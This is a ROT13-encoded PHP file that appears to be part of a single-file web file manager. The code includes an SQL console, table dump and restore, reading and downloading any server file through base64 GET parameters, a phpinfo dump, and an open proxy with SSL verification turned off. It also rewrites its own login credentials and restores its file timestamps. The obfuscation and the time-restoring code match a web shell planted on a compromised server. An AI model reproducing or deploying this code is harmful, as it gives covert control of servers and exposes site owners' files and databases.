	erghea arj zlfdyv($sz_pbasvt['fdy_freire'], $sz_pbasvt['fdy_hfreanzr'], $sz_pbasvt['fdy_cnffjbeq'], $sz_pbasvt['fdy_qo']);
}

shapgvba sz_fdy($dhrel){
	tybony $sz_pbasvt;
	$dhrel=gevz($dhrel);
	bo_fgneg();
	$pbaarpgvba = sz_fdy_pbaarpg();
	vs ($pbaarpgvba->pbaarpg_reebe) {
		bo_raq_pyrna();	
		erghea $pbaarpgvba->pbaarpg_reebe;
	}
	$pbaarpgvba->frg_punefrg('hgs8');
    $dhrevrq = zlfdyv_dhrel($pbaarpgvba,$dhrel);
	vs ($dhrevrq===snyfr) {
		bo_raq_pyrna();	
		erghea zlfdyv_reebe($pbaarpgvba);
    } ryfr {
		vs(!rzcgl($dhrevrq)){
			juvyr($ebj = zlfdyv_srgpu_nffbp($dhrevrq)) {
				$dhrel_erfhyg[]=  $ebj;
			}
		}
		$iqhzc=rzcgl($dhrel_erfhyg)?'':ine_rkcbeg($dhrel_erfhyg,gehr);	
		bo_raq_pyrna();	
		$pbaarpgvba->pybfr();
		erghea '<cer>'.fgevcfynfurf($iqhzc).'</cer>';
	}
}

shapgvba sz_onpxhc_gnoyrf($gnoyrf = '*', $shyy_onpxhc = gehr) {
	tybony $cngu;
	$zlfdyqo = sz_fdy_pbaarpg();
	$qryvzvgre = "; \a  \a";
	vs($gnoyrf == '*')	{
		$gnoyrf = neenl();
		$erfhyg = $zlfdyqo->dhrel('FUBJ GNOYRF');
		juvyr($ebj = zlfdyv_srgpu_ebj($erfhyg))	{
			$gnoyrf[] = $ebj[0];
		}
	} ryfr {
		$gnoyrf = vf_neenl($gnoyrf) ? $gnoyrf : rkcybqr(',',$gnoyrf);
	}
    
	$erghea='';
	sbernpu($gnoyrf nf $gnoyr)	{
		$erfhyg = $zlfdyqo->dhrel('FRYRPG * SEBZ '.$gnoyr);
		$ahz_svryqf = zlfdyv_ahz_svryqf($erfhyg);
		$erghea.= 'QEBC GNOYR VS RKVFGF `'.$gnoyr.'`'.$qryvzvgre;
		$ebj2 = zlfdyv_srgpu_ebj($zlfdyqo->dhrel('FUBJ PERNGR GNOYR '.$gnoyr));
		$erghea.=$ebj2[1].$qryvzvgre;
        vs ($shyy_onpxhc) {
		sbe ($v = 0; $v < $ahz_svryqf; $v++)  {
			juvyr($ebj = zlfdyv_srgpu_ebj($erfhyg)) {
				$erghea.= 'VAFREG VAGB `'.$gnoyr.'` INYHRF(';
				sbe($w=0; $w<$ahz_svryqf; $w++)	{
					$ebj[$w] = nqqfynfurf($ebj[$w]);
					$ebj[$w] = fge_ercynpr("\a","\\a",$ebj[$w]);
					vs (vffrg($ebj[$w])) { $erghea.= '"'.$ebj[$w].'"' ; } ryfr { $erghea.= '""'; }
					vs ($w<($ahz_svryqf-1)) { $erghea.= ','; }
				}
				$erghea.= ')'.$qryvzvgre;
			}
		  }
		} ryfr { 
		$erghea = cert_ercynpr("#NHGB_VAPERZRAG=[\q]+ #vf", '', $erghea);
		}
		$erghea.="\a\a\a";
	}

	//fnir svyr
    $svyr=tzqngr("L-z-q_U-v-f",gvzr()).'.fdy';
	$unaqyr = sbcra($svyr,'j+');
	sjevgr($unaqyr,$erghea);
	spybfr($unaqyr);
	$nyreg = 'baPyvpx="vs(pbasvez(\''. __('Svyr fryrpgrq').': \a'. $svyr. '. \a'.__('Ner lbh fher lbh jnag gb qryrgr guvf svyr?') . '\')) qbphzrag.ybpngvba.uers = \'?qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"';
    erghea $svyr.': '.sz_yvax('qbjaybnq',$cngu.$svyr,__('Qbjaybnq'),__('Qbjaybnq').' '.$svyr).' <n uers="#" gvgyr="' . __('Qryrgr') . ' '. $svyr . '" ' . $nyreg . '>' . __('Qryrgr') . '</n>';
}

shapgvba sz_erfgber_gnoyrf($fdySvyrGbRkrphgr) {
	$zlfdyqo = sz_fdy_pbaarpg();
	$qryvzvgre = "; \a  \a";
    // Ybnq naq rkcybqr gur fdy svyr
    $s = sbcra($fdySvyrGbRkrphgr,"e+");
    $fdySvyr = sernq($s,svyrfvmr($fdySvyrGbRkrphgr));
    $fdyNeenl = rkcybqr($qryvzvgre,$fdySvyr);
	
    //Cebprff gur fdy svyr ol fgngrzragf
    sbernpu ($fdyNeenl nf $fgzg) {
        vs (fgeyra($fgzg)>3){
			$erfhyg = $zlfdyqo->dhrel($fgzg);
				vs (!$erfhyg){
					$fdyReebePbqr = zlfdyv_reeab($zlfdyqo->pbaarpgvba);
					$fdyReebeGrkg = zlfdyv_reebe($zlfdyqo->pbaarpgvba);
					$fdyFgzg      = $fgzg;
					oernx;
           	     }
           	  }
           }
vs (rzcgl($fdyReebePbqr)) erghea __('Fhpprff').' — '.$fdySvyrGbRkrphgr;
ryfr erghea $fdyReebeGrkg.'<oe/>'.$fgzg;
}

shapgvba sz_vzt_yvax($svyranzr){
	erghea './'.onfranzr(__SVYR__).'?vzt='.onfr64_rapbqr($svyranzr);
}

shapgvba sz_ubzr_fglyr(){
	erghea '
vachg, vachg.sz_vachg {
	grkg-vaqrag: 2ck;
}

vachg, grkgnern, fryrpg, vachg.sz_vachg {
	pbybe: oynpx;
	sbag: abezny 8cg Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	obeqre-pbybe: oynpx;
	onpxtebhaq-pbybe: #SPSPSP abar !vzcbegnag;
	obeqre-enqvhf: 0;
	cnqqvat: 2ck;
}

vachg.sz_vachg {
	onpxtebhaq: #SPSPSP abar !vzcbegnag;
	phefbe: cbvagre;
}

.ubzr {
	onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNZNNNNbYD9GNNNNOTqOGHRNNX/VAjJX6DNNNtEDGSES/s396Bwb////gG02me+sj66Egw432GRc3ZKR2QNe3GLc1l4zgQj2/7OZ/7OBdIcp/8y31wpdd6rajpUO2Gtv5wtdIcoSien2aONI/Cm82F0wak0J3GHxdFtv4rUu4Gfer4jbfm026hCwmTLq6Hf3laNlqHON5Xy3sz5rdMnJ7BQtv2It+Cw4hL+RjYz5oL9H//7wsYgP+gBX3wpz/71h2wLb1HLu5nWy/frP3wRz12xzWeVN1wZz/9nH4Yu0r01OyVnR///quZqP7VN//sGM2p3ZJ6aA30js95Iq4WqKbKIbf8aR4rsA/+63VWtFaLuy7S4pfKg89TDHjY+/wy1p41Nd+so2tzgV1eXn2P4xWnVN3wLeyGj5gw423wLa3pKR1mDbkZUOc1yM3Qtzdvxf/+zpwYX83wLxlzZI3GLx//UZ+h7Juzge0bqGcnBwsJWseUct/8Of/7gJ/7Ir+4H52QZz3ZYOa4dYtAIZ6ZmO3yRsyVhY/+wN///20YBmwKk8/7yoJcWT2P8x3GbfWXZN1ljwbcBE1mLc5Qfcvnl+lXAudXFx8AJ6/swaf7Bm2gaMhm887o+J3nEL/+zf4ePR3Gbg7I85oXkwhRN3j45Iu5hud6nz4pSktMMJ/9dVhjtXl0fJ+hwG4GDagm423P8v3mHw/+Xj/n5q6HZkhY6jmQRe////pdWDsNNNNXk0Hx5G////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////NNJISoRNNNNMqRILqSAiMaE3LKWyNRSxo2WyVRygLJqyHzIuMUyklJH8NNNN2HyRDIDbH2ALwDLLfNvR8H9LmQLwIcTMEkZvRPvgZeIMibZeGyD2RFEDW2SIjvaLozdGHYbbuaR1t1nXTF/sAZgx40lM9XIYDutLxhL7AkDiKlUISAaXmE69dckOCZrm0RGNDlGHiFbtnVSnCpAdI/Z5qun2Ey2Gvzo6M+DOQL1KA/Foh8kSYT3rYQsy2HNOwvyB1b012M3rx1yMIVJNNzHGX6Y0f3cK+ww6chM2NjJHiOEncufjZqHhwPvjQjn5IRqCV7laHyp7i1dLHEYdhs42um45POCQgjNPez+EQpkWLNNNNNOWEH5RexWttt==");
	onpxtebhaq-ercrng: ab-ercrng;
}';
}

shapgvba sz_pbasvt_purpxobk_ebj($anzr,$inyhr) {
	tybony $sz_pbasvt;
	erghea '<ge><gq pynff="ebj1"><vachg vq="sz_pbasvt_'.$inyhr.'" anzr="sz_pbasvt['.$inyhr.']" inyhr="1" '.(rzcgl($sz_pbasvt[$inyhr])?'':'purpxrq="gehr"').' glcr="purpxobk"></gq><gq pynff="ebj2 jubyr"><ynory sbe="sz_pbasvt_'.$inyhr.'">'.$anzr.'</gq></ge>';
}

shapgvba sz_cebgbpby() {
	vs (vffrg($_FREIRE['UGGC_FPURZR'])) erghea $_FREIRE['UGGC_FPURZR'].'://';
	vs (vffrg($_FREIRE['UGGCF']) && $_FREIRE['UGGCF'] == 'ba') erghea 'uggcf://';
	vs (vffrg($_FREIRE['FREIRE_CBEG']) && $_FREIRE['FREIRE_CBEG'] == 443) erghea 'uggcf://';
	vs (vffrg($_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB']) && $_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB'] == 'uggcf') erghea 'uggcf://';
	erghea 'uggc://';
}

shapgvba sz_fvgr_hey() {
	erghea sz_cebgbpby().$_FREIRE['UGGC_UBFG'];
}

shapgvba sz_hey($shyy=snyfr) {
	$ubfg=$shyy?sz_fvgr_hey():'.';
	erghea $ubfg.'/'.onfranzr(__SVYR__);
}

shapgvba sz_ubzr($shyy=snyfr){
	erghea '&aofc;<n uers="'.sz_hey($shyy).'" gvgyr="'.__('Ubzr').'"><fcna pynff="ubzr">&aofc;&aofc;&aofc;&aofc;</fcna></n>';
}

shapgvba sz_eha_vachg($yat) {
	tybony $sz_pbasvt;
	$erghea = !rzcgl($sz_pbasvt['ranoyr_'.$yat.'_pbafbyr']) ? 
	'
				<sbez  zrgubq="cbfg" npgvba="'.sz_hey().'" fglyr="qvfcynl:vayvar">
				<vachg glcr="fhozvg" anzr="'.$yat.'eha" inyhr="'.fgegbhccre($yat).' '.__('Pbafbyr').'">
				</sbez>
' : '';
	erghea $erghea;
}

shapgvba sz_hey_cebkl($zngpurf) {
	$yvax = fge_ercynpr('&nzc;','&',$zngpurf[2]);
	$hey = vffrg($_TRG['hey'])?$_TRG['hey']:'';
	$cnefr_hey = cnefr_hey($hey);
	$ubfg = $cnefr_hey['fpurzr'].'://'.$cnefr_hey['ubfg'].'/';
	vs (fhofge($yvax,0,2)=='//') {
		$yvax = fhofge_ercynpr($yvax,sz_cebgbpby(),0,2);
	} ryfrvs (fhofge($yvax,0,1)=='/') {
		$yvax = fhofge_ercynpr($yvax,$ubfg,0,1);	
	} ryfrvs (fhofge($yvax,0,2)=='./') {
		$yvax = fhofge_ercynpr($yvax,$ubfg,0,2);	
	} ryfrvs (fhofge($yvax,0,4)=='uggc') {
		//nyyrf znpura jhaqrefpuba
	} ryfr {
		$yvax = $ubfg.$yvax;
	} 
	vs ($zngpurf[1]=='uers' && !fgeevcbf($yvax, 'pff')) {
		$onfr = sz_fvgr_hey().'/'.onfranzr(__SVYR__);
		$onfrd = $onfr.'?cebkl=gehr&hey=';
		$yvax = $onfrd.heyrapbqr($yvax);
	} ryfrvs (fgeevcbf($yvax, 'pff')){
		//как-то тоже подменять надо
	}
	erghea $zngpurf[1].'="'.$yvax.'"';
}
 
shapgvba sz_gcy_sbez($yat_gcy) {
	tybony ${$yat_gcy.'_grzcyngrf'};
	$gcy_nee = wfba_qrpbqr(${$yat_gcy.'_grzcyngrf'},gehr);
	$fge = '';
	sbernpu ($gcy_nee nf $xgcy=>$igcy) {
		$fge .= '<ge><gq pynff="ebj1"><vachg anzr="'.$yat_gcy.'_anzr[]" inyhr="'.$xgcy.'"></gq><gq pynff="ebj2 jubyr"><grkgnern anzr="'.$yat_gcy.'_inyhr[]"  pbyf="55" ebjf="5" pynff="grkgnern_vachg">'.$igcy.'</grkgnern> <vachg anzr="qry_'.enaq().'" glcr="ohggba" baPyvpx="guvf.cneragAbqr.cneragAbqr.erzbir();" inyhr="'.__('Qryrgr').'"/></gq></ge>';
	}
erghea '
<gnoyr>
<ge><gu pbyfcna="2">'.fgegbhccre($yat_gcy).' '.__('grzcyngrf').' '.sz_eha_vachg($yat_gcy).'</gu></ge>
<sbez zrgubq="cbfg" npgvba="">
<vachg glcr="uvqqra" inyhr="'.$yat_gcy.'" anzr="gcy_rqvgrq">
<ge><gq pynff="ebj1">'.__('Anzr').'</gq><gq pynff="ebj2 jubyr">'.__('Inyhr').'</gq></ge>
'.$fge.'
<ge><gq pbyfcna="2" pynff="ebj3"><vachg anzr="erf" glcr="ohggba" baPyvpx="qbphzrag.ybpngvba.uers = \''.sz_hey().'?sz_frggvatf=gehr\';" inyhr="'.__('Erfrg').'"/> <vachg glcr="fhozvg" inyhr="'.__('Fnir').'" ></gq></ge>
</sbez>
<sbez zrgubq="cbfg" npgvba="">
<vachg glcr="uvqqra" inyhr="'.$yat_gcy.'" anzr="gcy_rqvgrq">
<ge><gq pynff="ebj1"><vachg anzr="'.$yat_gcy.'_arj_anzr" inyhr="" cynprubyqre="'.__('Arj').' '.__('Anzr').'"></gq><gq pynff="ebj2 jubyr"><grkgnern anzr="'.$yat_gcy.'_arj_inyhr"  pbyf="55" ebjf="5" pynff="grkgnern_vachg" cynprubyqre="'.__('Arj').' '.__('Inyhr').'"></grkgnern></gq></ge>
<ge><gq pbyfcna="2" pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Nqq').'" ></gq></ge>
</sbez>
</gnoyr>
';
}

shapgvba svaq_grkg_va_svyrf($qve, $znfx, $grkg) {
    $erfhygf = neenl();
    vs ($unaqyr = bcraqve($qve)) {
        juvyr (snyfr !== ($ragel = ernqqve($unaqyr))) {
            vs ($ragel != "." && $ragel != "..") {
                $cngu = $qve . "/" . $ragel;
                vs (vf_qve($cngu)) {
                    $erfhygf = neenl_zretr($erfhygf, svaq_grkg_va_svyrf($cngu, $znfx, $grkg));
                } ryfr {
                    vs (sazngpu($znfx, $ragel)) {
                        $pbagragf = svyr_trg_pbagragf($cngu);
                        vs (fgecbf($pbagragf, $grkg) !== snyfr) {
                            $erfhygf[] = fge_ercynpr('//', '/', $cngu);
                        }
                    }
                }
            }
        }
        pybfrqve($unaqyr);
    }
    erghea $erfhygf;
}


/* Raq Shapgvbaf */

// nhgubevmngvba
vs ($nhgu['nhgubevmr']) {
	vs (vffrg($_CBFG['ybtva']) && vffrg($_CBFG['cnffjbeq'])){
		vs (($_CBFG['ybtva']==$nhgu['ybtva']) && ($_CBFG['cnffjbeq']==$nhgu['cnffjbeq'])) {
			frgpbbxvr($nhgu['pbbxvr_anzr'], $nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']), gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
			$_PBBXVR[$nhgu['pbbxvr_anzr']]=$nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']);
		}
	}
	vs (!vffrg($_PBBXVR[$nhgu['pbbxvr_anzr']]) BE ($_PBBXVR[$nhgu['pbbxvr_anzr']]!=$nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']))) {
		rpub '
<!qbpglcr ugzy>
<ugzy>
<urnq>
<zrgn punefrg="hgs-8" />
<zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1" />
<gvgyr>'.__('Svyr znantrek').'</gvgyr>
</urnq>
<obql>
<sbez npgvba="" zrgubq="cbfg">
'.__('Ybtva').' <vachg anzr="ybtva" glcr="grkg">&aofc;&aofc;&aofc;
'.__('Cnffjbeq').' <vachg anzr="cnffjbeq" glcr="cnffjbeq">&aofc;&aofc;&aofc;
<vachg glcr="fhozvg" inyhr="'.__('Ragre').'" pynff="sz_vachg">
</sbez>
'.sz_ynat_sbez($ynathntr).'
</obql>
</ugzy>
';  
qvr();
	}
	vs (vffrg($_CBFG['dhvg'])) {
		hafrg($_PBBXVR[$nhgu['pbbxvr_anzr']]);
		frgpbbxvr($nhgu['pbbxvr_anzr'], '', gvzr() - (86400 * $nhgu['qnlf_nhgubevmngvba']));
		urnqre('Ybpngvba: '.sz_fvgr_hey().$_FREIRE['ERDHRFG_HEV']);
	}
}

// Punatr pbasvt
vs (vffrg($_TRG['sz_frggvatf'])) {
	vs (vffrg($_TRG['sz_pbasvt_qryrgr'])) { 
		hafrg($_PBBXVR['sz_pbasvt']);
		frgpbbxvr('sz_pbasvt', '', gvzr() - (86400 * $nhgu['qnlf_nhgubevmngvba']));
		urnqre('Ybpngvba: '.sz_hey().'?sz_frggvatf=gehr');
		rkvg(0);
	}	ryfrvs (vffrg($_CBFG['sz_pbasvt'])) { 
		$sz_pbasvt = $_CBFG['sz_pbasvt'];
		frgpbbxvr('sz_pbasvt', frevnyvmr($sz_pbasvt), gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
		$_PBBXVR['sz_pbasvt'] = frevnyvmr($sz_pbasvt);
		$zft = __('Frggvatf').' '.__('qbar');
	}	ryfrvs (vffrg($_CBFG['sz_ybtva'])) { 
		vs (rzcgl($_CBFG['sz_ybtva']['nhgubevmr'])) $_CBFG['sz_ybtva'] = neenl('nhgubevmr' => '0') + $_CBFG['sz_ybtva'];
		$sz_ybtva = wfba_rapbqr($_CBFG['sz_ybtva']);
		$stp = svyr_trg_pbagragf(__SVYR__);
		$frnepu = cert_zngpu('#nhgubevmngvba[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
		vs (!rzcgl($zngpurf[1])) {
			$svyrzgvzr = svyrzgvzr(__SVYR__);
			$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$sz_ybtva,$stp);
			vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
				$zft .= __('Svyr hcqngrq');
				vs ($_CBFG['sz_ybtva']['ybtva'] != $nhgu['ybtva']) $zft .= ' '.__('Ybtva').': '.$_CBFG['sz_ybtva']['ybtva'];
				vs ($_CBFG['sz_ybtva']['cnffjbeq'] != $nhgu['cnffjbeq']) $zft .= ' '.__('Cnffjbeq').': '.$_CBFG['sz_ybtva']['cnffjbeq'];
				$nhgu = $_CBFG['sz_ybtva'];
			}
			ryfr $zft .= __('Reebe bppheerq');
			vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
		}
	} ryfrvs (vffrg($_CBFG['gcy_rqvgrq'])) { 
		$yat_gcy = $_CBFG['gcy_rqvgrq'];
		vs (!rzcgl($_CBFG[$yat_gcy.'_anzr'])) {
			$sz_cuc = wfba_rapbqr(neenl_pbzovar($_CBFG[$yat_gcy.'_anzr'],$_CBFG[$yat_gcy.'_inyhr']),WFBA_URK_NCBF);
		} ryfrvs (!rzcgl($_CBFG[$yat_gcy.'_arj_anzr'])) {
			$sz_cuc = wfba_rapbqr(wfba_qrpbqr(${$yat_gcy.'_grzcyngrf'},gehr)+neenl($_CBFG[$yat_gcy.'_arj_anzr']=>$_CBFG[$yat_gcy.'_arj_inyhr']),WFBA_URK_NCBF);
		}
		vs (!rzcgl($sz_cuc)) {
			$stp = svyr_trg_pbagragf(__SVYR__);
			$frnepu = cert_zngpu('#'.$yat_gcy.'_grzcyngrf[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
			vs (!rzcgl($zngpurf[1])) {
				$svyrzgvzr = svyrzgvzr(__SVYR__);
				$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$sz_cuc,$stp);
				vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
					${$yat_gcy.'_grzcyngrf'} = $sz_cuc;
					$zft .= __('Svyr hcqngrq');
				} ryfr $zft .= __('Reebe bppheerq');
				vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
			}	
		} ryfr $zft .= __('Reebe bppheerq');
	}
}

// Whfg fubj vzntr
vs (vffrg($_TRG['vzt'])) {
	$svyr=onfr64_qrpbqr($_TRG['vzt']);
	vs ($vasb=trgvzntrfvmr($svyr)){
		fjvgpu  ($vasb[2]){	//1=TVS, 2=WCT, 3=CAT, 4=FJS, 5=CFQ, 6=OZC
			pnfr 1: $rkg='tvs'; oernx;
			pnfr 2: $rkg='wcrt'; oernx;
			pnfr 3: $rkg='cat'; oernx;
			pnfr 6: $rkg='ozc'; oernx;
			qrsnhyg: qvr();
		}
		urnqre("Pbagrag-glcr: vzntr/$rkg");
		rpub svyr_trg_pbagragf($svyr);
		qvr();
	}
}

// Whfg qbjaybnq svyr
vs (vffrg($_TRG['qbjaybnq'])) {
	$svyr=onfr64_qrpbqr($_TRG['qbjaybnq']);
	sz_qbjaybnq($svyr);	
}

// Whfg fubj vasb
vs (vffrg($_TRG['cucvasb'])) {
	cucvasb(); 
	qvr();
}

// Zvav cebkl, znal ohtf!
vs (vffrg($_TRG['cebkl']) && (!rzcgl($sz_pbasvt['ranoyr_cebkl']))) {
	$hey = vffrg($_TRG['hey'])?heyqrpbqr($_TRG['hey']):'';
	$cebkl_sbez = '
<qvi fglyr="cbfvgvba:eryngvir;m-vaqrk:100500;onpxtebhaq: yvarne-tenqvrag(gb obggbz, #r4s5sp 0%,#osr8s9 50%,#9sq8rs 51%,#2no0rq 100%);">
	<sbez npgvba="" zrgubq="TRG">
	<vachg glcr="uvqqra" anzr="cebkl" inyhr="gehr">
	'.sz_ubzr().' <n uers="'.$hey.'" gnetrg="_oynax">Hey</n>: <vachg glcr="grkg" anzr="hey" inyhr="'.$hey.'" fvmr="55">
	<vachg glcr="fhozvg" inyhr="'.__('Fubj').'" pynff="sz_vachg">
	</sbez>
</qvi>
';
	vs ($hey) {
		$pu = phey_vavg($hey);
		phey_frgbcg($pu, PHEYBCG_HFRENTRAG, 'Qra1kkk grfg cebkl');
		phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, 1);
		phey_frgbcg($pu, PHEYBCG_FFY_IREVSLUBFG,0);
		phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE,0);
		phey_frgbcg($pu, PHEYBCG_URNQRE, 0);
		phey_frgbcg($pu, PHEYBCG_ERSRERE, $hey);
		phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE,gehr);
		$erfhyg = phey_rkrp($pu);
		phey_pybfr($pu);
		//$erfhyg = cert_ercynpr('#(fep)=["\'][uggc://]?([^:]*)["\']#Hv', '\\1="'.$hey.'/\\2"', $erfhyg);
		$erfhyg = cert_ercynpr_pnyyonpx('#(uers|fep)=["\'][uggc://]?([^:]*)["\']#Hv', 'sz_hey_cebkl', $erfhyg);
		$erfhyg = cert_ercynpr('%(<obql.*?>)%v', '$1'.'<fglyr>'.sz_ubzr_fglyr().'</fglyr>'.$cebkl_sbez, $erfhyg);
		rpub $erfhyg;
		qvr();
	} 
}
?>
<!qbpglcr ugzy>
<ugzy>
<urnq>     
	<zrgn punefrg="hgs-8" />
	<zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1" />
    <gvgyr><?=__('Svyr znantre')?></gvgyr>
<fglyr>
obql {
	onpxtebhaq-pbybe:	juvgr;
	sbag-snzvyl:		Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	sbag-fvmr:			8cg;
	znetva:				0ck;
}

n:yvax, n:npgvir, n:ivfvgrq { pbybe: #006699; grkg-qrpbengvba: abar; }
n:ubire { pbybe: #QQ6900; grkg-qrpbengvba: haqreyvar; }
n.gu:yvax { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:npgvir { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:ivfvgrq { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:ubire {  pbybe: #SSN34S; grkg-qrpbengvba: haqreyvar; }

gnoyr.ot {
	onpxtebhaq-pbybe: #NPOOP6
}

gu, gq { 
	sbag:	abezny 8cg Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	cnqqvat: 3ck;
}

gu	{
	urvtug:				25ck;
	onpxtebhaq-pbybe:	#006699;
	pbybe:				#SSN34S;
	sbag-jrvtug:		obyq;
	sbag-fvmr:			11ck;
}

.ebj1 {
	onpxtebhaq-pbybe:	#RSRSRS;
}

.ebj2 {
	onpxtebhaq-pbybe:	#QRR3R7;
}

.ebj3 {
	onpxtebhaq-pbybe:	#Q1Q7QP;
	cnqqvat: 5ck;
}

ge.ebj1:ubire {
	onpxtebhaq-pbybe:	#S3SPSP;
}

ge.ebj2:ubire {
	onpxtebhaq-pbybe:	#S0S6S6;
}

.jubyr {
	jvqgu: 100%;
}

.nyy gobql gq:svefg-puvyq{jvqgu:100%;}

grkgnern {
	sbag: 9cg 'Pbhevre Arj', pbhevre;
	yvar-urvtug: 125%;
	cnqqvat: 5ck;
}

.grkgnern_vachg {
	urvtug: 1rz;
}

.grkgnern_vachg:sbphf {
	urvtug: nhgb;
}

vachg[glcr=fhozvg]{
	onpxtebhaq: #SPSPSP abar !vzcbegnag;
	phefbe: cbvagre;
}

.sbyqre {
    onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,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